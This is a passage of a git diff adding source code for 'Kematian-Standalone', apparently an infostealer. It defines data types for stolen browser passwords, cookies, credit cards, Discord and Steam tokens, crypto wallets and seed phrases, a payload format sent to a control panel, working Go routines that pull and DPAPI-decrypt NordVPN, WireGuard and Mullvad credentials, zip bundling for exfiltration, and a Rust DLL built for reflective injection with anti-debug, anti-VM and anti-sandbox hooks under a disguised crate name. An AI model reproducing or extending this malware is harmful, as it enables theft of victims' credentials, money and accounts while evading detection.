PasswordResult struct { + URL string `json:"url"` + Username string `json:"username"` + Password string `json:"password"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CookieResult struct { + Host string `json:"host"` + Name string `json:"name"` + Value string `json:"value"` + Path string `json:"path"` + Secure bool `json:"secure"` + HTTPOnly bool `json:"httpOnly"` + ExpiresUTC int64 `json:"expiresUtc"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type AutofillResult struct { + Name string `json:"name"` + Value string `json:"value"` + DateCreated int64 `json:"dateCreated"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type HistoryResult struct { + URL string `json:"url"` + Title string `json:"title"` + VisitTimeUnix int64 `json:"visitTimeUnix"` + VisitCount int64 `json:"visitCount"` + LastVisitTime int64 `json:"lastVisitTime"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type BookmarkResult struct { + Name string `json:"name"` + URL string `json:"url"` + Type string `json:"type"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type CreditCardResult struct { + NameOnCard string `json:"nameOnCard"` + ExpirationMonth int `json:"expirationMonth"` + ExpirationYear int `json:"expirationYear"` + CardNumber string `json:"cardNumber"` + Nickname string `json:"nickname"` + Browser string `json:"browser"` + Profile string `json:"profile"` +} + +type DiscordTokenResult struct { + Token string `json:"token"` + Source string `json:"source"` +} + +type FileResult struct { + Path string `json:"path"` + Name string `json:"name"` + Ext string `json:"ext"` + Size int64 `json:"size"` + Modified int64 `json:"modified"` + Dir string `json:"dir"` + Tags []string `json:"tags,omitempty"` +} + +type ExtensionResult struct { + ExtID string `json:"extId"` + Name string `json:"name"` + Version string `json:"version"` + Browser string `json:"browser"` + Profile string `json:"profile"` + Path string `json:"path"` + Category string `json:"category,omitempty"` +} + +type WalletResult struct { + Name string `json:"name"` + Type string `json:"type"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` + Addresses []string `json:"addresses,omitempty"` + VaultData string `json:"vaultData,omitempty"` +} + +type AppCredentialResult struct { + Application string `json:"application"` + Host string `json:"host,omitempty"` + Port int `json:"port,omitempty"` + Username string `json:"username,omitempty"` + Password string `json:"password,omitempty"` + Protocol string `json:"protocol,omitempty"` + Extra string `json:"extra,omitempty"` +} + +type CollectionResult struct { + Passwords []PasswordResult `json:"passwords,omitempty"` + Cookies []CookieResult `json:"cookies,omitempty"` + Autofill []AutofillResult `json:"autofill,omitempty"` + History []HistoryResult `json:"history,omitempty"` + Bookmarks []BookmarkResult `json:"bookmarks,omitempty"` + CreditCards []CreditCardResult `json:"creditCards,omitempty"` + DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"` + Files []FileResult `json:"files,omitempty"` + Extensions []ExtensionResult `json:"extensions,omitempty"` + Wallets []WalletResult `json:"wallets,omitempty"` + Telegram []TelegramResult `json:"telegram,omitempty"` + Keys []KeyResult `json:"keys,omitempty"` + AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"` + Gaming *GamingResult `json:"gaming,omitempty"` + VPNs *VPNResult `json:"vpns,omitempty"` + Errors []string `json:"errors,omitempty"` +} + +type TelegramResult struct { + Account string `json:"account"` + Path string `json:"path"` + Files int `json:"files"` + Size int64 `json:"size"` +} + +type KeyResult struct { + Type string `json:"type"` + Name string `json:"name"` + Path string `json:"path"` + Size int64 `json:"size"` + Content string `json:"content,omitempty"` +} + +type SeedResult struct { + Source string `json:"source"` + Path string `json:"path"` + Phrase string `json:"phrase"` + Words int `json:"words"` +} + +type GameInfo struct { + ID string `json:"id"` + Name string `json:"name"` + Installed bool `json:"installed"` + Running bool `json:"running"` +} + +type SteamResult struct { + SteamPath string `json:"steamPath,omitempty"` + AutoLogin string `json:"autoLogin,omitempty"` + RememberPW bool `json:"rememberPw,omitempty"` + Account string `json:"account,omitempty"` + Token string `json:"token,omitempty"` + SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"` + SSFNFiles []string `json:"ssfnFiles,omitempty"` + Games []GameInfo `json:"games,omitempty"` +} + +// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID. +// Format: . (steamID is the part before the first dot). +type SteamTokenResult struct { + SteamID string `json:"steamId"` + Token string `json:"token"` +} + +type BattleNetResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type EpicResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type RiotResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type UplayResult struct { + Path string `json:"path"` + Name string `json:"name"` +} + +type GamingResult struct { + Steam *SteamResult `json:"steam,omitempty"` + BattleNet []BattleNetResult `json:"battleNet,omitempty"` + Epic []EpicResult `json:"epic,omitempty"` + Riot []RiotResult `json:"riot,omitempty"` + Uplay []UplayResult `json:"uplay,omitempty"` +} + +type NordVPNResult struct { + Version string `json:"version"` + Username string `json:"username"` + Password string `json:"password"` +} + +type WireGuardResult struct { + Name string `json:"name"` + Interface string `json:"interface,omitempty"` + Peer string `json:"peer,omitempty"` + Endpoint string `json:"endpoint,omitempty"` +} + +type OpenVPNResult struct { + Name string `json:"name"` + Path string `json:"path"` +} + +type MullvadResult struct { + AccountNumber string `json:"accountNumber"` + SettingsPath string `json:"settingsPath"` + Content string `json:"content,omitempty"` +} + +type VPNResult struct { + NordVPN []NordVPNResult `json:"nordvpn,omitempty"` + WireGuard []WireGuardResult `json:"wireguard,omitempty"` + OpenVPN []OpenVPNResult `json:"openvpn,omitempty"` + Mullvad []MullvadResult `json:"mullvad,omitempty"` +} + +// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder, +// Telegram session or Steam login files. Sent together with the result over +// E2EE so the panel can host + back it up. +type Payload struct { + Category string `json:"category"` + Name string `json:"name"` + Filename string `json:"filename"` + Size int `json:"size"` + Data []byte `json:"data"` // base64-encoded by the JSON layer +} diff --git a/Kematian-Standalone/native/recovery/vpn_stub.go b/Kematian-Standalone/native/recovery/vpn_stub.go new file mode 100644 index 0000000..c124c26 --- /dev/null +++ b/Kematian-Standalone/native/recovery/vpn_stub.go @@ -0,0 +1,186 @@ +//go:build !windows + +package recovery + +import ( + "encoding/json" + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + WireGuard: scanWireGuardUnix(), + OpenVPN: scanOpenVPNUnix(), + Mullvad: scanMullvadUnix(), + } + if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanWireGuardUnix() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{"/etc/wireguard"} + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard") + } + home, _ := os.UserHomeDir() + if home != "" { + configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard")) + } + + for _, configDir := range configDirs { + if !pathExists(configDir) { + continue + } + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") { + continue + } + filePath := filepath.Join(configDir, e.Name()) + confData, err := os.ReadFile(filePath) + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range strings.Split(string(confData), "\n") { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: e.Name(), + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func scanOpenVPNUnix() []types.OpenVPNResult { + var results []types.OpenVPNResult + home, _ := os.UserHomeDir() + + ovpnDirs := []string{"/etc/openvpn", "/etc/openvpn/client"} + if home != "" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, ".config", "openvpn"), + filepath.Join(home, "OpenVPN", "config"), + ) + if runtime.GOOS == "darwin" { + ovpnDirs = append(ovpnDirs, + filepath.Join(home, "Library", "Application Support", "OpenVPN Connect", "profiles"), + ) + } + } + + for _, ovpnDir := range ovpnDirs { + if !pathExists(ovpnDir) { + continue + } + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvadUnix() []types.MullvadResult { + var results []types.MullvadResult + + configDirs := []string{"/etc/mullvad-vpn"} + home, _ := os.UserHomeDir() + if home != "" { + if runtime.GOOS == "darwin" { + configDirs = append(configDirs, + filepath.Join(home, "Library", "Application Support", "Mullvad VPN"), + ) + } else { + configDirs = append(configDirs, + filepath.Join(home, ".config", "Mullvad VPN"), + ) + } + } + + for _, dir := range configDirs { + if !pathExists(dir) { + continue + } + for _, name := range []string{"settings.json", "account-history.json"} { + path := filepath.Join(dir, name) + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + continue + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + continue + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, &token) == nil && token != "" && !mullvadAlreadyFoundUnix(results, token) { + results = append(results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + break + } + } + } + } + + return results +} + +func mullvadAlreadyFoundUnix(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/vpn_windows.go b/Kematian-Standalone/native/recovery/vpn_windows.go new file mode 100644 index 0000000..703d9ea --- /dev/null +++ b/Kematian-Standalone/native/recovery/vpn_windows.go @@ -0,0 +1,390 @@ +//go:build windows + +package recovery + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + "recovery/recovery/types" +) + +func ScanVPNs() *types.VPNResult { + result := &types.VPNResult{ + NordVPN: scanNordVPN(), + WireGuard: scanWireGuard(), + OpenVPN: scanOpenVPN(), + Mullvad: scanMullvad(), + } + if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 { + return nil + } + return result +} + +func scanNordVPN() []types.NordVPNResult { + var results []types.NordVPNResult + + nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN") + logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir)) + if !pathExists(nordDir) { + return nil + } + + entries, err := os.ReadDir(nordDir) + if err != nil { + return nil + } + + for _, e := range entries { + if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") { + continue + } + + versionsDir := filepath.Join(nordDir, e.Name()) + subEntries, _ := os.ReadDir(versionsDir) + + for _, sub := range subEntries { + if !sub.IsDir() { + continue + } + configPath := filepath.Join(versionsDir, sub.Name(), "user.config") + if !pathExists(configPath) { + continue + } + + data, err := os.ReadFile(configPath) + if err != nil || len(data) == 0 { + continue + } + + username := extractNordVPNValue(data, "Username") + password := extractNordVPNValue(data, "Password") + + if username != "" && password != "" { + results = append(results, types.NordVPNResult{ + Version: e.Name(), + Username: username, + Password: password, + }) + } + } + } + + return results +} + +func extractNordVPNValue(data []byte, field string) string { + content := string(data) + idx := strings.Index(content, `name="`+field+`"`) + if idx == -1 { + return "" + } + + start := strings.Index(content[idx:], "") + end := strings.Index(content[idx:], "") + if start == -1 || end == -1 || end < start { + return "" + } + + raw := content[idx+start+7 : idx+end] + decoded, err := base64.StdEncoding.DecodeString(raw) + if err != nil { + return raw + } + + plaintext, err := dpapiDecrypt(decoded, nil) + if err != nil || len(plaintext) == 0 { + return raw + } + + return strings.TrimRight(string(plaintext), "\x00") +} + +func scanWireGuard() []types.WireGuardResult { + var results []types.WireGuardResult + + configDirs := []string{ + `C:\Program Files\WireGuard\Data\Configurations`, + filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"), + } + + for _, configDir := range configDirs { + logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir)) + if !pathExists(configDir) { + continue + } + + entries, err := os.ReadDir(configDir) + if err != nil { + continue + } + logf("[vpn] WireGuard dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() { + continue + } + + name := e.Name() + ext := strings.ToLower(filepath.Ext(name)) + filePath := filepath.Join(configDir, name) + + var confData []byte + + if ext == ".dpapi" { + confData, err = dpapiDecryptFile(filePath) + name = strings.TrimSuffix(name, ".dpapi") + } else if ext == ".conf" { + confData, err = os.ReadFile(filePath) + } else { + continue + } + + if err != nil || len(confData) == 0 { + continue + } + + var iface, peer, endpoint string + for _, line := range normLines(string(confData)) { + line = strings.TrimSpace(line) + if key, val, ok := strings.Cut(line, "="); ok { + key = strings.TrimSpace(key) + val = strings.TrimSpace(val) + switch key { + case "Address": + iface = val + case "Endpoint": + endpoint = val + case "PublicKey": + if peer == "" { + peer = val + } + } + } + } + + results = append(results, types.WireGuardResult{ + Name: name, + Interface: iface, + Peer: peer, + Endpoint: endpoint, + }) + } + } + + return results +} + +func dpapiDecryptFile(path string) ([]byte, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + return dpapiDecrypt(data, nil) +} + +func scanOpenVPN() []types.OpenVPNResult { + var results []types.OpenVPNResult + + ovpnDirs := []string{ + filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"), + filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"), + } + + for _, ovpnDir := range ovpnDirs { + logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir)) + if !pathExists(ovpnDir) { + continue + } + + entries, err := os.ReadDir(ovpnDir) + if err != nil { + continue + } + logf("[vpn] OpenVPN dir has %d entries", len(entries)) + + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") { + continue + } + results = append(results, types.OpenVPNResult{ + Name: e.Name(), + Path: filepath.Join(ovpnDir, e.Name()), + }) + } + } + + return results +} + +func scanMullvad() []types.MullvadResult { + var results []types.MullvadResult + + mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe") + + systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN` + logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile)) + if pathExists(systemProfile) { + sysSettings := filepath.Join(systemProfile, "settings.json") + logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings)) + mullvadTryJSON(&results, sysSettings) + + sysAcctHistory := filepath.Join(systemProfile, "account-history.json") + logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory)) + mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids) + } + + daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json") + logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings)) + mullvadTryJSON(&results, daemonSettings) + + guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN") + logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir)) + if pathExists(guiDir) { + guiSettings := filepath.Join(guiDir, "gui_settings.json") + logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings)) + mullvadTryJSON(&results, guiSettings) + + lsDir := filepath.Join(guiDir, "Local Storage", "leveldb") + logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir)) + if pathExists(lsDir) { + mullvadScanLevelDB(&results, lsDir, guiDir) + } + } + + acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json") + logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory)) + mullvadReadAccountHistory(&results, acctHistory, mullvadPids) + + legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad` + logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath)) + if pathExists(legacyPath) { + if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 { + var account string + if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 { + account = strings.TrimRight(string(decrypted), "\x00") + } + if account == "" { + for _, line := range normLines(strings.TrimSpace(string(data))) { + line = strings.TrimSpace(line) + if line != "" { + account = line + break + } + } + } + if account != "" && !mullvadAlreadyFound(results, account) { + results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath}) + } + } + } + + return results +} + +func mullvadTryJSON(results *[]types.MullvadResult, path string) { + if !pathExists(path) { + return + } + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return + } + var raw map[string]json.RawMessage + if json.Unmarshal(data, &raw) != nil { + return + } + for _, key := range []string{"account_token", "accountToken", "account_number", "account"} { + v, ok := raw[key] + if !ok { + continue + } + var token string + if json.Unmarshal(v, &token) == nil && token != "" { + logf("[vpn] Mullvad found token via key %q in %s", key, path) + if !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path}) + } + return + } + } +} + +func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) { + if !pathExists(path) { + return + } + data, err := platform.ReadLockedFile(path, pids) + if err != nil || len(data) == 0 { + logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err) + return + } + rawContent := strings.TrimSpace(string(data)) + logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path) + + var token string + if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) { + *results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent}) + } + var tokens []string + if json.Unmarshal(data, &tokens) == nil { + for _, t := range tokens { + if t != "" && !mullvadAlreadyFound(*results, t) { + *results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent}) + } + } + } +} + +func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) { + entries, err := os.ReadDir(lsDir) + if err != nil { + return + } + for _, e := range entries { + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := os.ReadFile(filepath.Join(lsDir, e.Name())) + if err != nil || len(data) == 0 { + continue + } + content := string(data) + // Mullvad account numbers are 16 decimal digits + for i := 0; i <= len(content)-16; i++ { + if isDigit(content[i]) { + end := i + for end < len(content) && isDigit(content[end]) { + end++ + } + seq := content[i:end] + if len(seq) == 16 { + logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name()) + if !mullvadAlreadyFound(*results, seq) { + *results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir}) + } + } + i = end + } + } + } +} + +func isDigit(c byte) bool { + return c >= '0' && c <= '9' +} + +func mullvadAlreadyFound(results []types.MullvadResult, account string) bool { + for _, r := range results { + if r.AccountNumber == account { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/ziputil/zip.go b/Kematian-Standalone/native/recovery/ziputil/zip.go new file mode 100644 index 0000000..727b608 --- /dev/null +++ b/Kematian-Standalone/native/recovery/ziputil/zip.go @@ -0,0 +1,83 @@ +package ziputil + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "os" + "path/filepath" +) + +const maxZipSize = 50 * 1024 * 1024 // 50 MB + +func ZipDirectory(dir string) ([]byte, error) { + if _, err := os.Stat(dir); err != nil { + return nil, fmt.Errorf("directory not found: %s", dir) + } + + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + baseName := filepath.Base(dir) + + _ = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() { + return nil + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return nil + } + zipEntry := baseName + "/" + filepath.ToSlash(rel) + f, err := os.Open(path) + if err != nil { + return nil + } + defer f.Close() + w, err := zw.Create(zipEntry) + if err != nil { + return nil + } + io.Copy(w, f) //nolint:errcheck + return nil + }) + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil +} + +func ZipFiles(paths []string, baseDir string) ([]byte, error) { + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + + for _, p := range paths { + rel, err := filepath.Rel(baseDir, p) + if err != nil { + rel = filepath.Base(p) + } + f, err := os.Open(p) + if err != nil { + continue + } + w, err := zw.Create(filepath.ToSlash(rel)) + if err != nil { + f.Close() + continue + } + io.Copy(w, f) + f.Close() + } + + if err := zw.Close(); err != nil { + return nil, err + } + if buf.Len() > maxZipSize { + return nil, fmt.Errorf("ZIP too large (%d bytes, max %d)", buf.Len(), maxZipSize) + } + return buf.Bytes(), nil +} diff --git a/Kematian-Standalone/rust-extractor/.cargo/config.toml b/Kematian-Standalone/rust-extractor/.cargo/config.toml new file mode 100644 index 0000000..b532e1a --- /dev/null +++ b/Kematian-Standalone/rust-extractor/.cargo/config.toml @@ -0,0 +1,6 @@ +# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL +# dependency at runtime. Only the GNU target is supported: the reflective +# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie +# machinery fast-fails under a manual map. +[target.x86_64-pc-windows-gnu] +rustflags = ["-C", "target-feature=+crt-static"] diff --git a/Kematian-Standalone/rust-extractor/.gitignore b/Kematian-Standalone/rust-extractor/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/Kematian-Standalone/rust-extractor/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Kematian-Standalone/rust-extractor/Cargo.lock b/Kematian-Standalone/rust-extractor/Cargo.lock new file mode 100644 index 0000000..2db2315 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "compat-layer" +version = "0.1.0" diff --git a/Kematian-Standalone/rust-extractor/Cargo.toml b/Kematian-Standalone/rust-extractor/Cargo.toml new file mode 100644 index 0000000..c2ac0c8 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "compat-layer" +version = "0.1.0" +edition = "2021" + +[lib] +name = "compat_layer" +crate-type = ["cdylib"] + +[profile.release] +opt-level = 3 +lto = "thin" +codegen-units = 1 +panic = "abort" +strip = "symbols" +overflow-checks = false +debug = false diff --git a/Kematian-Standalone/rust-extractor/src/abi.rs b/Kematian-Standalone/rust-extractor/src/abi.rs new file mode 100644 index 0000000..414ca0e --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/abi.rs @@ -0,0 +1,256 @@ +//! Raw Win32 FFI declarations and constants used by the payload. +//! +//! These are resolved through the normal PE import table, which the reflective +//! loader fixes up before DllMain runs. + +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(dead_code)] + +use core::ffi::c_void; + +// ---- Handles / return codes ---- +pub const INVALID_HANDLE_VALUE: usize = usize::MAX; + +// ---- CreateFileW ---- +pub const GENERIC_READ: u32 = 0x8000_0000; +pub const GENERIC_WRITE: u32 = 0x4000_0000; +pub const FILE_SHARE_READ: u32 = 0x1; +pub const FILE_SHARE_WRITE: u32 = 0x2; +pub const FILE_SHARE_DELETE: u32 = 0x4; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80; + +// ---- GetFileType ---- +pub const FILE_TYPE_DISK: u32 = 0x0001; + +// ---- DuplicateHandle ---- +pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002; + +// ---- Errors ---- +pub const ERROR_SHARING_VIOLATION: u32 = 32; + +// ---- Memory / protection ---- +pub const PAGE_EXECUTE_READ: u32 = 0x20; + +// ---- GetFileSize ---- +pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF; + +// ---- COM ---- +pub const COINIT_APARTMENTTHREADED: u32 = 0x2; +pub const CLSCTX_LOCAL_SERVER: u32 = 0x4; +pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF; +pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6; +pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3; +pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40; +pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32; + +// ---- GUID ---- +#[repr(C)] +#[derive(Clone, Copy)] +pub struct GUID { + pub data1: u32, + pub data2: u16, + pub data3: u16, + pub data4: [u8; 8], +} + +#[link(name = "kernel32")] +extern "system" { + pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32; + pub fn GetEnvironmentVariableW( + lpName: *const u16, + lpBuffer: *mut u16, + nSize: u32, + ) -> u32; + pub fn CreateFileW( + lpFileName: *const u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: usize, + ) -> usize; + pub fn ReadFile( + hFile: usize, + lpBuffer: *mut c_void, + nNumberOfBytesToRead: u32, + lpNumberOfBytesRead: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn WriteFile( + hFile: usize, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, + ) -> i32; + pub fn FlushFileBuffers(hFile: usize) -> i32; + pub fn CloseHandle(hObject: usize) -> i32; + pub fn GetFileType(hFile: usize) -> u32; + pub fn GetFinalPathNameByHandleW( + hFile: usize, + lpszFilePath: *mut u16, + cchFilePath: u32, + dwFlags: u32, + ) -> u32; + pub fn DuplicateHandle( + hSourceProcessHandle: usize, + hSourceHandle: usize, + hTargetProcessHandle: usize, + lpTargetHandle: *mut usize, + dwDesiredAccess: u32, + bInheritHandle: i32, + dwOptions: u32, + ) -> i32; + pub fn GetCurrentProcess() -> usize; + pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32; + pub fn GetLastError() -> u32; + + // ---- anti-debug / anti-vm / runtime introspection ---- + pub fn IsDebuggerPresent() -> i32; + pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32; + pub fn GetTickCount64() -> u64; + pub fn GetSystemFirmwareTable( + firmware_table_provider_signature: u32, + firmware_table_id: u32, + p_firmware_table_buffer: *mut c_void, + buffer_size: u32, + ) -> u32; + pub fn GetSystemInfo(lp_system_info: *mut c_void) -> (); + pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32; + pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize; + pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32; + pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32; + pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize; + + // ---- anti-sandbox: hooked-path Sleep (must go through the normal API so + // sandbox sleep-skipping is observable) ---- + pub fn Sleep(dw_milliseconds: u32); + + // ---- anti-sandbox: directory enumeration (Recent files count etc.) ---- + pub fn FindFirstFileExW( + lp_file_name: *const u16, + f_info_level_id: u32, + lp_find_file_data: *mut c_void, + f_search_op: u32, + lp_search_filter: *mut c_void, + dw_additional_flags: u32, + ) -> usize; + pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32; + + // ---- anti-vm: registry probing (advapi32, declared below) ---- + + // ---- anti-vm: filesystem artifacts (kernel32) ---- + // GetFileAttributesW declared in the separate extern block below. + + // ---- anti-vm: adapter info / input / disk / windows ---- + // Declared in their respective extern blocks below. + + // ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are + // resolved at runtime via apires so they don't appear in the import table) ---- + pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize; +} + +#[link(name = "ole32")] +extern "system" { + pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32; + pub fn CoUninitialize(); + pub fn CoCreateInstance( + rclsid: *const GUID, + pUnkOuter: *mut c_void, + dwClsContext: u32, + riid: *const GUID, + ppv: *mut *mut c_void, + ) -> i32; + pub fn CoSetProxyBlanket( + pProxy: *mut c_void, + dwAuthnSvc: u32, + dwAuthzSvc: u32, + pServerPrincName: *mut u16, + dwAuthnLevel: u32, + dwImpLevel: u32, + pAuthInfo: *mut c_void, + dwCapabilities: u32, + ) -> i32; +} + +#[link(name = "oleaut32")] +extern "system" { + pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16; + pub fn SysFreeString(bstrString: *mut u16); + pub fn SysStringByteLen(bstrString: *mut u16) -> u32; +} + +// ---- Display (user32) : used to detect virtual/OEM display drivers via a very +// low refresh-rate signature and driver name. ---- +pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF; + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct DEVMODEW { + pub dm_device_name: [u16; 32], + pub dm_spec_version: u16, + pub dm_driver_version: u16, + pub dm_size: u16, + pub dm_driver_extra: u16, + pub dm_fields: u32, + pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12 + 